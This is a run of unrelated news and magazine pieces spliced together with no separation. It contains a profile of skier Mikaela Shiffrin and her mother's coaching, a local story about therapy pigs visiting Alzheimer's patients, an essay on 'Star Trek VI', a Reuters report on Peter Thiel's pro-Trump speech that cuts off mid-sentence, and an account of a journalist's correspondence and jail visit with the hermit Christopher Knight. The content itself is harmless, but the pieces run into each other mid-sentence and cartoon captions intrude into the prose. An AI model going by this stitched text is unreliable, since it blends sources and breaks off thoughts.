hill with Mikaela or in Mikaela’s triplex. “She was very much a presence,” Pech said. “They’d constantly go over video in our room, watching winning World Cup runs every night before bed. Eileen has an amazing eye for it.” “I just wanted Taylor and Mikaela to make perfect turns,” Eileen said. “It’s like looking for the perfect wave.” The Shiffrins were disciples of the ten-thousand-hours concept; the 2009 Daniel Coyle book “The Talent Code” was scripture. They studied the training methods of the Austrians, Alpine skiing’s priesthood. The Shiffrins wanted to wring as much training as possible out of every minute of the day and every vertical foot of the course. They favored deliberate practice over competition. They considered race days an onerous waste: all the travel, the waiting around, and the emotional stress for two quick runs. They insisted that Shiffrin practice honing her turns even when just skiing from the bottom of the racecourse to the chairlift. Most racers bomb straight down, their nonchalance a badge of honor. Jeff Shiffrin said, “One of the things I learned from the Austrians is: every turn you make, do it right. Don’t get lazy, don’t goof off. Don’t waste any time. If you do, you’ll be retired from racing by the time you get to ten thousand hours.” “Here’s the thing,” Mikaela told me one day. “You can’t get ten thousand hours of skiing. You spend so much time on the chairlift. My coach did a calculation of how many hours I’ve been on snow. We’d been overestimating. I think we came up with something like eleven total hours of skiing on snow a year. It’s like seven minutes a day. Still, at the age of twenty-two, I’ve probably had more time on snow than most. I always practice, even on the cat tracks or in those interstitial periods. My dad says, ‘Even when you’re just stopping, be sure to do it right, maintaining a good position, with counter-rotational force.’ These are the kinds of things my dad says, and I’m, like, ‘Shut up.’ But if you say it’s seven minutes a day, then consider that thirty seconds that all the others spend just straight-lining from the bottom of the racecourse to the bottom of the lift: I use that part to work on my turns. I’m getting extra minutes. If I don’t, my mom or my coaches will stop me and say something.” The psychologist Ellen Winner has identified a prodigy’s essential traits as “a rage to master” and an ability to learn rapidly. Shiffrin had both. “Her attention to detail and focus on the task at hand is like no one I’ve ever met,” her former coach Brandon Dyksterhouse said. Whereas most skiers could handle, say, six training runs, she could sometimes do eighteen, and whereas most skiers saw their performances tail off in the last three or four, along with their ability to get anything useful out of them, Shiffrin got faster with each run, and her focus never wavered. Shiffrin, incredibly, almost never “skis out” in training. She completes every practice run without missing a gate or losing control. Dyksterhouse recalls that at one point she went fifty practice days in a row without skiing out, and that she beat every skier who practiced with her on each of those runs. This is not a balance beam: every day the snow and the course are different. She also had the capacity to absorb criticism and integrate refinements into her technique. “You have to have the brain to conceptualize technique and apply it to your body,” Shiffrin said. “If you don’t, you should stop right now.” She was, in a word, eminently coachable. This was opportune, because she happened to be very heavily coached—by her mother. “Sorry if I’m butchering your name.” So, here was this rare combination of tiger mom and willing cub. “I didn’t have that relationship with Taylor,” Eileen told me. “He wanted to do the U.S. ski team. But he didn’t want to make the other boys feel bad. I didn’t understand that. It was like he had three heads.” Taylor raced at the University of Denver, an élite program, and completed an M.B.A. there. An also-ran, by some lights.
When Shiffrin, at the age of sixteen, set out on her first full season on the World Cup tour, her mother travelled with her. “That first year, I didn’t know what I was doing,” Eileen told me. “We were deer in the headlights.” Competition aside, the routine was disorienting. The circuit started in the Alps, moved to North America, then returned to Europe—every few days, a new course, a new town. It was a long way from Burke, from Piglet and Pooh Bear. “All the personalities, the ski-team girls,” Eileen said. “We were a little isolated from them. They didn’t want a kid tagging along, and she didn’t want to tag along.” Mikaela, Eileen said, “wasn’t into the party scene. She was thinking, How am I going to get my math done and where are the bathrooms? It was stressful for me to watch her go through the stress of that.” The U.S. ski team’s European base was until recently in Sölden, Austria, where a giant glacier enables racers to train early and late in the season. Eileen got an apartment in the neighboring village of Längenfeld. “I tried to give her distance,” Eileen said. “I needed to not be around.” The team travelled by van, and Eileen trailed it in a rental car. At hotels, Mikaela bunked with a teammate, and Eileen got her own room. But by her third year on tour Mikaela was sleeping with her mother instead. “It was more healthy than rooming with a thirty-year-old racer,” Eileen said. Ski-team officials didn’t necessarily agree. “We were told it was not good for me to be there,” Eileen said. “They’d been through it before, and it hadn’t worked out.” The coach for slalom and giant slalom was an old-school Austrian named Roland Pfeifer. “Luckily, he was O.K. and open to my mom being around, but he wasn’t so O.K. with it that he wanted her to be coaching me,” Mikaela said. “Eventually, as time went on, he got more and more sensitive to her being one of my coaches. I never would’ve called her a coach when I was working with him.” She went on, “After the last Olympics, my skiing started to fall off, and he got really aggressive about it. It ended up being a pretty nasty split.” Pfeifer was reassigned and then left for the Canadian team. For the next two years, the women’s coach was Dyksterhouse, who was a kind of emergency call-up from the Vail ski club. Perhaps his relatively humble credentials, or his non-Austrianness, made him a bit more comfortable with Eileen’s omnipresence. Eileen said, “You have to have a couple of coaches who don’t have huge egos, who aren’t territorial and all alpha-male macho about it.” Still, the situation could get a little intense. “Eileen watches more video than any coach on the planet,” Dyksterhouse said. She texted Mikaela at all hours with observations from her sessions. Dyksterhouse remembers getting a text from Eileen at 5 A.M. the day before the 2015 World Championships, in Vail, saying that she had noticed something. She wanted to wake Mikaela up to show her. Dyksterhouse objected. (“She knows better but she can’t help herself,” one ski-team official told me.) On a few occasions, anticipating that Eileen might pick apart the footage from a day’s session, Dyksterhouse would speed the video up, just enough to elide certain flaws and perhaps shield Mikaela, or, more to the point, Dyksterhouse and his assistant, from an inquisition. “I got to the point where I didn’t agree with certain things, but how can I argue with the result?” he recalled. “They’ve found an approach that works better than anything in the history of the sport.” He had a behind-the-scenes Web series called “World Cup Diaries,” and on one occasion he posted a side-by-side video comparison he’d worked up of Shiffrin and Frida Hansdotter, one of her top competitors, which he’d annotated, frame by frame, to illustrate Shiffrin’s prowess at gaining speed. Shiffrin told me, “I woke up and had a million texts, from Kilian”—her manager, Kilian Albrecht—“and my mom, saying, like, What was he thinking? Here we are working our tails off, trying to stay one step ahead, and that’s my career, my profession, and why is my coach giving this stuff away?” She made him take it down immediately, but not before some of the European teams had downloaded it for careful study. “I ended up parting ways with him very quickly after that.” “They went berserk,” Dyksterhouse told me. “They hated, hated, hated that. They’re very secretive.” Nonetheless, he said, it was his decision to leave, owing to his eagerness to work with other racers on the team. Shiffrin mostly trains alone, both because of her demanding schedule and because none of the other women on the team can keep up or handle the workload. (Lindsey Vonn is a team unto herself as well, under the Red Bull flag.) The coach since then has been Mike Day, but Day recently had back surgery and will miss the first half of the season, so Lackie has taken over. Often the coaches will convey their pointers or critiques to Eileen, who then relays them to Mikaela. When I talked to Tiger Shaw, the head of the whole program, he told me, “The No. 1 thing to recognize is that Eileen is the coach.” As it stands, she has been doing the job, all these years, on her own dime. The ski team doesn’t pay her a salary, and she covers most of her own travel expenses. This might be another reason for her to keep bunking with her daughter. You can take the girl out of New England, but you can’t take New England out of the girl.
Slalom and giant slalom are known as the technical disciplines—tech, for short. The turns are tightest in slalom, wider in G.S. Each turn consists of a pair of poles, several yards apart, and you have to ski through the invisible plane between them—a “gate.” You ski two runs, each lasting less than a minute. The winner is the skier with the lowest combined time. The so-called speed events, downhill and super giant slalom, or super G, have fewer gates, more jumps, greater speed, and higher risk. You get one run. For decades, slalom courses were set with bamboo poles. You could brush them or whack into them, but it hurt, and they could slow you down or alter your course. So you mostly skied around them, stringing together elegant “S”s. In the eighties, bamboo was replaced by plastic breakaway poles, with a hinge at the base of each, so that you could knock it out of your way; it flopped to the snow and snapped back into place after you’d passed. As a result, skiers started pursuing straighter lines, thrashing through the hinged poles in the manner of an explorer cutting through a thicket with a machete. The progress downhill became more abrupt and violent. Racers began to wear body armor, helmets, and face guards, and to use shorter and shorter skis, the better to whip their feet around the gates. To my eyes, the motocross getups and the herky-jerky descents leached much of the beauty and grace from the sport. “That’ll be twenty even—ten for the wine and a ten-dollar tax on the hapless sweater.” Soon, the tech events were ruled by obscure specialists with names I couldn’t retain and an appeal I couldn’t see. The downhillers, the speed demons who risked life and limb on the classic sheer courses of the Alps, like the Streif, in Kitzbühel, and the Lauberhorn, in Wengen, carried on the sport’s swashbuckling spirit. Even if their best runs seemed reckless and a little haywire, the elegance and power of a well-carved turn, at that speed and in that context, is magisterial. No shin pad can mitigate the pain and misery of cartwheeling into the safety netting at eighty miles an hour. Still, invincibility is irresistible. A couple of years ago, as Shiffrin’s pursuit of the perfect turn reached a new level, she drew me in. In the fall of 2015, the World Cup season commenced in Aspen. In the opening race, a giant slalom, Shiffrin, carrying a lead into the final pitch, wiped out—uncharacteristically—three gates short of the finish. The next day, she showed up for the slalom in an angry mood. She’d won four in a row to end the previous season. After the first run, she held a lead of nearly a second and a half over the next-fastest racer, a Slovakian named Viktoria Velez Zuzulová. As the leader, Shiffrin was the last out of a field of thirty to ski a second run (forty others had either crashed or failed to qualify), and was thus facing a degraded snow surface. She wore a tight white bodysuit and a stars-and-stripes helmet—a touch of Evel Knievel. The north-facing slope, in full shadow, was a crepuscular blue, out of which the fluorescent yellow trim of her shin and knuckle guards popped like the chest feathers of a chat bird. Banner ads for Milka chocolate (the venue may have been Stateside, but the main television audience was still overseas) lined the run, along with the dim silhouettes of course workers, many of them wearing crampons to maintain their footing on the icy pitch. (It never looks as steep on TV.) Often, Shiffrin’s first few turns are careful, as she establishes a tempo, but on this occasion, despite her almost impregnable lead, she came out “blasting,” as the TV commentator said, so that, by the time she hit the eighteenth gate (out of sixty), the speed and some cruddy snow seemed to cause her to stumble. But she recovered her form—metronomic tempo, skis parallel, body crouched, “knees to skis and hands in front,” as the family mantra goes—and took on the meat of the course with calm determination, to the extent that calmness can be attributed to a woman punching aside heavy, rubbery poles at a rate of more than one a second, while pogoing from side to side in flat light down a wall of rutted ice. Her style was “quiet,” in the argot, the upper body still, skis biting, tip to tail, with hardly a chatter. (Watching the race again recently, on YouTube, I thought of her in high summer, sliding side to side in her socks, holding a medicine ball.) She knocked away the second-to-last gate with both arms, so that for a moment they were raised as though in triumph, and then she ducked across the finish line, swooped into a big turn to check her speed, and finally, snowplowing (pizza!), looked up at the scoreboard. She seemed almost disappointed. She’d won by 3.07 seconds, the largest margin of victory ever in a World Cup slalom race, breaking a record that had stood for forty-seven years. The following day, there was another slalom race (the second of the season’s nine), and she won again, by 2.65 seconds, the amount of time that separated the second-place finisher from the twenty-third. She said that she’d imagined she was being chased downhill by a bear. A few days later, at Lake Louise, in Alberta, Canada, Shiffrin entered a super-G race. She came in fifteenth. The winner was Lindsey Vonn. Shiffrin is the best technical skier of her generation, but she aspires to the élite in speed. Some of the American stars, like Vonn and Bode Miller, started out as tech specialists, and then, as they got bigger and stronger and perhaps more courageous and ambitious, began to master the dangers and the demands of the downhill. It’s all skiing, but slalom is Jack-be-nimble while downhill is Jack-be-nuts. One is fast-twitch, the other is barn-on-your-back. The speed and the tech events take place in different locations at different times, with different practice and pre-race regimens. Training for both means training less for each. It may be that interdisciplinary speed is a zero-sum game—that the faster you get in the downhill the slower you go in slalom. This has been true, more or less, of Miller and Vonn, and might well be true of Shiffrin, although she doesn’t have the high tolerance for risk that the others do, and that the speed events seem to require. She and her team wrestle with the problem of giving up a bird in hand to go after one in the bush. “I’m still sort of a risky investment there,” she told me.
Two years ago, the Shiffrins tried to send Mikaela out on tour on her own. “I had decided that that would be the year,” Eileen said. This was after Mikaela’s dominating performance at Aspen. Shiffrin travelled to Sweden without her mother. On the morning of a race, Mikaela crashed and injured her knee, and missed the next couple of months of competition. “I’m not superstitious, not saying my not being there is why she got hurt, but maybe it was something subconscious,” Eileen said. “Maybe she didn’t approach the day the way she might have. I might have said, ‘Be careful.’ ” According to Eileen, Mikaela called her and said, “I’m not ready for you to be gone. Clearly, I’m not ready to do this on my own.” Mikaela told me, “I can’t really picture a time when she won’t be on tour with me. Mom has always been my best friend. But, yes, eventually she might get sick of it.” Bug Pech, when she and Shiffrin were sixteen, promised Shiffrin that she’d watch every race of hers, and so for years, while she was at Boston College and Shiffrin was in the Alps, she got up at four in the morning to tune in. Shiffrin often FaceTimes with her from the physio table. Pech told me, “It’s sort of weird. She’s travelling with three or four middle-aged men, her mom, and her physio, who’s older, too. It can get lonely. When she needs to vent or is frustrated, I get the call.” The last time Pech saw Shiffrin was at Killington, last year. “I saw her for, like, three minutes,” Pech said. “My mom and sister started tearing up when we had to say goodbye. My sister joked that Mikaela and I have a Romeo-and-Juliet romance.” This past summer, Mikaela started dating a French giant-slalom skier named Mathieu Faivre. “I don’t know if this is a smart thing to do long distance,” she told Pech. Pech told her, “For you, everything is long distance.” As she explained to me, “She’s got to have something that’s normal, even if it’s not normal.” It was her mother who first alerted me to Faivre. “I’m sure you’ve heard, she has a boyfriend in France,” Eileen said. When I mentioned it to Mikaela in a text, she replied with a facepalm emoji: “Oh boy. Hahaha no big deal. He’s a cutie.” Shiffrin made time to visit Faivre in France, and in the fall he went to see her in Vail. He stayed in a hotel. When Shiffrin is home, which isn’t often, she lives with her parents, in the nearby town of Avon. She still doesn’t have a place of her own. (She has earned millions of dollars, in prize money and endorsements. Her father watches over it, with the help of a financial adviser.) “Some of this for me is about my being able to let her go,” Eileen told me. “My presence is its own burden.” She went on, “I have my own interests. I like to work out. I like to run. I want to take a nursing refresher course. When Mikaela was at Burke, I was finally getting my career going again, but once she started travelling, what with Jeff the main breadwinner, it was ‘You’re the one to go.’ I don’t regret it. I love spending time with Mikaela. It’s been a privilege for me to do this. But my entire life has been this.” This will be Mikaela’s seventh year on the tour, and her second trip to the Olympics, where, at least in the American marketplace, reputations and fortunes can be made. She is not oblivious. Talking to people around the ski-team scene, one can find it hard to suss out which of the Shiffrins—if either—might be the one chafing under the current arrangement, or to predict how long it might last. People are watching, with interest.CLOSE When we hear of therapy animals, oftentimes, we think of therapy dogs. But meet Boris and Pumba, the one-year-old miniature pot-bellied therapy pigs visiting Alzheimer's patients. VPC
Every weekend, Pumba and Boris hang out with Alzheimer's patients in Littleton (Photo: KUSA)
LITTLETON - When we hear of therapy animals, oftentimes, we think of therapy dogs.
But there's a new breed of animal hamming it up in hospitals and nursing homes around Denver. They are miniature pot-bellied pigs.
Every weekend, Pumba and Boris the one-year-old potbellied pigs visit with seniors living with Alzheimer's at Highline Place in Littleton.
Owner Erin Brinkley-Burgardt says while her pigs enjoy the limelight, they like giving attention to those needing a little extra love.
"They go up to anyone holding a carrot," joked Brinkley-Burgardt. "They really love all the attention they get here."
Boris and Pumba make their way around the halls of Highline place in a little green wagon. Brinkley-Burgardt says the residents are always a little shocked when they first arrive, but warm up to the pigs quickly.
"It just takes the first person to warm up—then everyone else is like 'oh ok! I'll try it!'" said Brinkley-Burgardt."The residents won't always remember the pigs—so it's really like a new experience every week—and it's a different experience every week—which is great!"
The residents at the Highline place aren't the only ones who enjoy Pumba and Boris's weekly visits. The staff and families enjoy them as well.
"Animals are pretty magical and it brings out a side of them you don't see in other activities" said Elle Fore, director of Vibrant Living at Highline Place. "And even though we love small children and dogs and other animals—it's the surprise factor of pigs—and one of the gifts with Alzheimer's is—you can use a lot of surprises."
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It's that surprise factor that keeps the smiles constant and the sounds of laughter reverberating through the halls of Highline Place week after week.
"Pumba and Boris love coming here too. My grandfather had dementia in the later years of his life so when Elle asked me to come by, I was definitely interested," said Brinkley-Burgardt. "It's been a great experience."
Pumba and Boris are not certified therapy animals, though Brinkley-Burgardt says they are well-behaved and work well with adults. She says she may get her pigs certified so they can make visits to elementary schools and interact with kids in the future.
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Read or Share this story: http://usat.ly/1HIJkVCTrue Heroism: How “Star Trek VI: The Undiscovered Country” Reflects Today July 19, 2016 |
After 1989's calamitous “Star Trek V: The Final Frontier,” Nicholas Meyer, director of the film franchise’s best entry “Star Trek II: The Wrath of Khan,” was brought in to direct "Star Trek VI: The Undiscovered Country," a fitting farewell to the Enterprise’s original crew. If "Wrath of Khan," "Star Trek III: The Search for Spock" and "Star Trek IV: The Voyage Home" are stories of death and rebirth, “The Undiscovered Country” is an honest look at what happens when the curtain is coming down, and how heroism can be found in choosing preservation of a future for the new generation rather than destruction. The film reflected the crackup of the Cold War in 1991, but it has gained a sadness in the stories we tell ourselves now and the attendant belief we have in the future.
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In the original crew’s send-off, we find them feeling their years and weary of the burdens of their roles on the Enterprise. They are wary of the fragile new peace with an old enemy, The Klingons: A dinner between humans and Klingons ends with the painful awkwardness of any forced attempt at political goodwill; and a bad situation becomes worse when a Klingon ambassador--amenable to the peace treaty being brokered between the Federation and The Klingon Empire--is murdered. Captain Kirk is framed for the crime. What follows is an exciting planet-hopping adventure that veers from prison break to political intrigue, as the Enterprise’s crew must stop a group of conspirators from wrecking a peace conference and plunging the various worlds back into unwinnable wars.
The film is beautiful, shot in autumnal colors; brass, deep reds and the glow of sunsets. The entire film looks like a story being told by a flickering fire: how it was, and how it may be again. Meyer gets excellent performances from his cast yet again—the core trio of William Shatner, Leonard Nimoy and DeForest Kelley playing off each other like a bunch of riffing musicians who know the others' quirks and tempo down cold. Iman has an eye catching part as Martia, a traitorous shapeshifter at the prison colony Kirk is sent to. And Christopher Plummer makes a terrific villain, looking like a fancy leather handbag in his Klingon makeup and quilted armor.
If it’s true that films reflect the time they’re made, it’s also true they gain new facets in the times they’re rewatched. If the dissolution of the Soviet Union is the seismic shift felt under “The Undiscovered Country'"s plot, the pall of Trumpism and Brexit hangs over it now. There’s something very melancholy about a sci-fi film concerning an older generation that does not wish to screw over the younger one. In a time where there’s a real meanness in the air—the snarl of “if I can’t have it all nobody can have any of it” that burns in the eyes of Trump supporters making war whoops at the mention of Elizabeth Warren’s name, the open harassment aimed at people perceived as foreign all over England—there’s something radical about the “The Undiscovered Country'"s understanding that heroism isn’t always about choosing the fight, but preventing one. That there is heroism in understanding your era is ending and then making way for the next generation. It’s the willingness to accept change and the passage of time that separates the film’s villains from its heroes. And in a summer of howling, empty cinematic apocalypses, there is something appealing in a sci-fi adventure story that is all about preventing destruction on a mass scale.
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And yet the film’s coda is a sharp reminder of how our society is eager to cordon off and ignore old people. The crew is informed they are to return the Enterprise so she can be decommissioned. Spock’s reply is a tart, perfectly delivered, “I believe if I were human my reply would be ‘Go to Hell’... if I were human.” Kirk choosing to steer the Enterprise into one last adventure is a beautiful note to go out on. At its best, “Star Trek” is a supreme achievement of pop cultural humanism, and “The Undiscovered Country” is a still-exciting glimpse at what our future could be. But it’s now also a poignant reminder of how much we’ve lost.
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DisqusWASHINGTON (Reuters) - Billionaire technology investor Peter Thiel, a lightning rod for criticism in Silicon Valley for his support of Donald Trump, predicted on Monday that the movement the Republican presidential nominee has created would carry on even if he loses his bid for the White House on Nov. 8.
PayPal co-founder and Facebook board member Peter Thiel delivers his speech on the U.S. presidential election at the National Press Club in Washington, U.S., October 31, 2016. REUTERS/Gary Cameron
“No matter what happens in this election, what Trump represents isn’t crazy, and it’s not going away,” Thiel said in a speech to reporters at the National Press Club in Washington.
Thiel, who announced earlier this month he was donating $1.25 million to help Trump get elected, said the New York businessman was laying the groundwork for “a new Republican Party” that will go “beyond the dogmas of Reaganism.”
Thiel attacked Washington in his remarks, saying its elite insiders were out of touch with ordinary Americans and that Trump was shaking up a system in need of change.
“The truth is, no matter how crazy this election seems, it is less crazy than the condition of our country,” said Thiel.
While it is impossible to predict what will happen to Trump and his followers after the election, Thiel is not alone in his view.
“This will certainly continue after Nov. 8, whether Donald Trump is leading the movement or not,” Republican strategist Alice Stewart said on Monday, arguing that the movement surrounding Trump will have lasting effects on the Republican Party.
“Without a doubt, Trump has tapped into an electorate that has felt like their voices have not been heard in quite some time,” she said, adding that the Republican Party old guard would have to work with followers of Trump’s newer brand of conservatism, regardless of the outcome of the election, if the party is to survive.
IMPERFECT PEOPLE
Thiel, who was born in Germany and came to the United States as a child, is best known as a co-founder of online payment service PayPal Holdings Inc and an early backer of online social network Facebook Inc.
His support for the real estate developer and reality TV star has made him a target for scorn in liberal-leaning tech circles, especially after his full-throated endorsement of Trump at the Republican National Convention in July.
The only major-name Trump backer in Silicon Valley, Thiel has attracted criticism and some have called for Thiel’s removal from Facebook’s board. Facebook Chief Executive Mark Zuckerberg has insisted on Thiel staying, citing the importance of diversity of opinion at the company.
Trump’s tirades against cross-border trade agreements and immigration run counter to the views of most in the U.S. tech industry, which sells its products worldwide and has leaned heavily on talented programmers coming to the United States from overseas.
On Monday, Thiel accused the media of taking too literally many of Trump’s more controversial proposals, including imposing a temporary ban on Muslims entering the country and building a wall on the U.S.-Mexico border.
He also said the comments Trump made about groping and kissing women in a 2005 video that was made public earlier this month were “clearly offensive and inappropriate.”
But Thiel said he and other Trump supporters were voting on policy, not personality. He |
I wrote it by hand, pen on paper, and sent it from my home in Montana to the Kennebec County jail. I mentioned I was a journalist seeking explanations for his baffling life. A week later, a white envelope arrived in my mailbox. The return address, printed in blue ink in wobbly-looking block letters, read "Chris Knight." It was a brief note—three paragraphs; 272 words. Still, it contained some of the first statements Knight had shared with anyone in the world.
"I replied to your letter," he explained, "because writing letters relieves somewhat the stress and boredom of my present situation." Also, he didn’t feel comfortable speaking. "My vocal, verbal skills have become rather rusty and slow."
I’d mentioned in my letter that I was an avid reader. From what I could tell, Knight was, too. Many victims of Knight’s thefts reported that their books were often stolen—from Tom Clancy potboilers to dense military histories to James Joyce’s Ulysses.
Hemingway, I wrote, was one of my favorites. It seemed that Knight was shy about everything except literary criticism; he answered that he felt "rather lukewarm" about Hemingway. Instead, he noted, he’d rather read Rudyard Kipling, preferably his "lesser known works." As if catching himself getting a little friendly, he added that since he didn’t know me, he really didn’t want to say more.
Then he seemed concerned that he was now being too unfriendly. "I wince at the rudeness of this reply but think it better to be clear and honest rather than polite. Tempted to say ’nothing personal,’ but handwritten letters are always personal." He ended with: "It was kind of you to write. Thank you." He did not sign his name.
I wrote him back and sent him a couple of Kiplings (The Man Who Would Be King and Captains Courageous). His response, two and a half pages, felt as raw and honest as a diary entry. He was suffering in jail; the noise and the filth tore at his senses. "You asked how I sleep. Little and uneasy. I am nearly always tired and nervous." In his next letter, he added, in his staccato, almost song-lyric style, that he deserved to be imprisoned. "I stole. I was a thief. I repeatedly stole over many years. I knew it was wrong. Knew it was wrong, felt guilty about it every time, yet continued to do it."
We exchanged letters throughout the summer of 2013. Rather than becoming gradually more accustomed to jail, to being around other people, Knight was deteriorating. In the woods, he said, he’d always carefully maintained his facial hair, but now he stopped shaving. "Use my beard," he wrote, "as a jail calendar."
He tried several times to converse with other inmates. He could force out a few hesitant words, but every topic—music, movies, television—was lost on him, as was most slang. "You speak like a book," one inmate teased. Whereupon he ceased talking.
"I am retreating into silence as a defensive move," he wrote. Soon he was down to uttering just five words, and only to guards: yes; no; please; thank you. "I am surprised by the amount of respect this garners me. That silence intimidates puzzles me. Silence is to me normal, comfortable."
He wrote little about his time in the woods, but what he did reveal was harrowing. Some years, he made it clear, he barely survived the winter. In one letter, he told me that to get through difficult times, he tried meditating. "I didn’t meditate every day, month, season in the woods. Just when death was near. Death in the form of too little food or too much cold for too long." Meditation worked, he concluded. "I am alive and sane, at least I think I’m sane." As always there was no formal closing. His letters simply ended, sometimes mid-thought.
He returned to the theme of sanity in a following letter. "When I came out of the woods they applied the label hermit to me. Strange idea to me. I had never thought of myself as a hermit. Then I got worried. For I knew with the label hermit comes the idea of crazy. See the ugly little joke."
Even worse, he feared his time in jail would only prove correct those who doubted his sanity. "I suspect," he wrote, "more damage has been done to my sanity in jail, in months; than years, decades, in the woods."
His legal proceedings were mired in delays, as the district attorney and his lawyer tried to figure out how justice could be served in a case entirely without precedent.
After four months in jail, Knight had no clue what punishment awaited. A sentence of a dozen or more years was possible. "Stress levels sky high," he wrote. "Give me a number. How long? Months? Years? How long in prison for me. Tell me the worst. How long?"
In the end, he decided he could not even write. "For a while writing relieved stress for me. No longer." He sent one last, heartbreaking letter in which he seemed at the verge of breakdown. "Still tired. More tired. Tireder, tiredest, tired ad nauseam, tired infinitum."
And that was it. He never wrote me again. Though he did finally sign his name. Despite the exhaustion and the tension, the last words he penned were wry and self-mocking: "Your friendly neighborhood Hermit, Christopher Knight."
Three weeks after his final letter, I flew to Maine. The Kennebec County jail, a three-story slab of pale gray cinder blocks, permits visitors most evenings at six forty-five. I arrived early. "Who you here to see?" asked a corrections officer.
"Christopher Knight."
"Relationship?"
"Friend," I answered unconfidently. He didn’t know I was here, and I had my doubts he’d see me.
I sat on a bench as other visitors checked in. Beyond the walls of the waiting room, I could hear piercing buzzers and slamming doors. Eventually an officer appeared and called out, "Knight."
He unlocked a maroon door and I stepped inside a visitors’ booth. Three short stools were bolted to the floor in front of a narrow desk. Over the desk, dividing the booth into sealed-off halves, was a thick pane of shatterproof plastic. Sitting on a stool on the other side of the pane was Christopher Knight.
Rarely in my life have I witnessed someone less pleased to see me. His lips, thin, were pulled into a downturned scowl. His eyes did not rise to meet mine. I sat across from him, and there was no acknowledgment of my presence, not the merest nod. He gazed someplace beyond my left shoulder. He was wearing a dull green overlaundered jail uniform several sizes too big.
A black phone receiver was hanging on the wall. I picked it up. He picked his up—the first movement I saw him make.
I spoke first. "Nice to meet you, Chris."
He didn’t respond. He just sat there, stone-faced. His balding head shone like a snowfield beneath the fluorescent lights; his beard was a mess of reddish brown curls. He had on silver-framed glasses, different from the ones he’d worn forever in the woods. He was very skinny. He’d lost a great deal of weight since his arrest.
I tend to babble when I’m nervous, but I made a conscious effort to restrain myself. I recalled what Knight wrote in his letter about being comfortable with silence. I looked at him not looking at me. Maybe a minute passed.
That was all I could endure. "The constant banging and buzzing in here," I said, "must be so jarring compared with the sounds of nature." He shifted his eyes to me—a small victory—then glanced away. His eyes are light brown. He scarcely has any eyebrows. I let my comment hang in the air.
Then he spoke. Or at least his mouth moved. His first words to me were inaudible. I saw why: He was holding the phone’s mouthpiece too low, below his chin. It had been decades since he’d used a phone; he was out of practice. I indicated with my hand that he needed to move it up. He did. And he repeated his grand pronouncement.
"It’s jail," he said. There was nothing more. Silence again.
I shouldn’t have come. He didn’t want me here; I didn’t feel comfortable being here. But the jail had granted me a one-hour visit, and I resolved to stay. I settled atop my stool. I felt hyperaware of all my gestures, my expressions, my breathing. Chris’s right leg, I saw through the scuffed window, was bouncing rapidly. He scratched at his skin.
My patience was rewarded. First his leg settled down. He quit scratching. And then, rather shockingly, he started talking.
"Some people want me to be this warm and fuzzy person. All filled with friendly hermit wisdom. Just spouting off fortune-cookie lines from my hermit home."
His voice was clear; he’d retained the stretched vowels of a Down East Maine accent. And his words, when he deigned to release them, could evidently be imaginative and entertaining. And caustic.
"Your hermit home—like under a bridge?" I said, trying to play along.
He presented me with an achingly long blink.
"You’re thinking of a troll."
I laughed. His face moved in the direction of a smile. We had made a connection—or at least the awkwardness of our introduction had softened. We began to converse somewhat normally. He called me Mike and I called him Chris.
He explained about the lack of eye contact. "I’m not used to seeing people’s faces," he said. "There’s too much information there. Aren’t you aware of it? Too much, too fast."
I followed his cue and looked over his shoulder while he stared over mine. We maintained this arrangement for most of the visit. Chris had recently been given a mental-health evaluation by Maine’s forensic service. The report mentioned a possible diagnosis of Asperger’s disorder, a form of autism often marked by exceptional intelligence but extreme sensitivity to motions, sounds, and light.
Chris had just learned of Asperger’s while in jail, and he seemed unfazed by the diagnosis. "I don’t think I’ll be a spokesman for the Asperger’s telethon. Do they still do telethons? I hate Jerry Lewis." He said he was taking no medications. "But I don’t like people touching me," he added. "You’re not a hugger, are you?"
I admitted that I do at times participate in embraces.
"I’m glad this is between us," he said, indicating the glass. "If there was a set of blinds here, I’d close them."
There was a part of me that was perversely charmed by Chris. He could seem prickly—he is prickly—but this was merely a protective cover. He told me that since his capture, he’d often found himself emotionally overwhelmed at unexpected moments. "Like TV commercials," he said, "have made me teary. It’s not a good thing in jail to have people see you crying."
Everything he said seemed candid and blunt, unfiltered by the safety net of social niceties. "I’m not sorry about being rude if it gets to the point quicker," he told me.
That’s fine, I said, though I expected to ask questions that might kindle his rudeness. But I started with a gentle one: What was your life like before you went into the forest?
Before he slept in the woods for a quarter century straight, Chris never once spent a night in a tent. He was raised in the community of Albion, a forty-five-minute drive east of his camp; he has four older brothers and one younger sister. His father, who died in 2001, worked in a creamery. His mother, now in her eighties, still lives in the same house where Chris grew up, a modest two-story colonial on a wooded fifty-acre plot.
The family is extremely private and did not speak with me. Their next-door neighbor told me that in fourteen years, he hasn’t exchanged more than a word with Chris’s mom. Sometimes he sees her getting the paper. "Culturally my family is old Yankee," Chris said. "We’re not emotionally bleeding all over each other. We’re not touchy-feely. Stoicism is expected."
Chris insisted that he had a fine childhood. "No complaints," he said. "I had good parents." He shared vivid stories of moose hunting with his father. "A couple of hunting trips I slept in the back of the pickup, but never alone and never in a tent." After he’d disappeared, his family apparently didn’t report him missing to the police, though they may have hired a private detective. No one uncovered a clue. Two of Chris’s brothers, Joel and Tim, visited him in jail. "I didn’t recognize them," Chris admitted.
"My brothers supposed I was dead," said Chris, "but never expressed this to my mom. They always wanted to give her hope. Maybe he’s in Texas, they’d say. Or he’s in the Rocky Mountains." Chris did not allow his mother to visit. "Look at me, I’m in my prison clothes. That’s not how I was raised. I couldn’t face her."
He said he had excellent grades in high school, though no friends, and graduated early. Like two of his brothers, he enrolled in a nine-month electronics course at Sylvania Technical School in Waltham, Massachusetts. Then, still in Waltham, he took a job installing home and vehicle alarm systems; valuable knowledge to have once he started stealing.
He bought a new car, a white 1985 Subaru Brat. His brother Joel co-signed the loan. "I screwed him on that," Chris said. "I still owe him." He worked less than a year before he quit. He drove the Brat to Maine, went through his hometown without stopping—"one last look around"—and kept driving north. Soon he reached the edge of Moosehead Lake, where Maine begins to get truly remote.
"I drove until I was nearly out of gas. I took a small road. Then a small road off that small road. Then a trail off that." He parked the car. He placed the keys in the center console. "I had a backpack and minimal stuff. I had no plans. I had no map. I didn’t know where I was going. I just walked away."
It was late summer of 1986. He’d camp in one spot for a week or so, then hike south, following the natural geology of Maine, with its long, glacier-carved valleys. "I lost track of where I was," he said. "I didn’t care." For a while, he tried foraging for food. He ate roadkill partridges. Then he began taking corn and potatoes from people’s gardens.
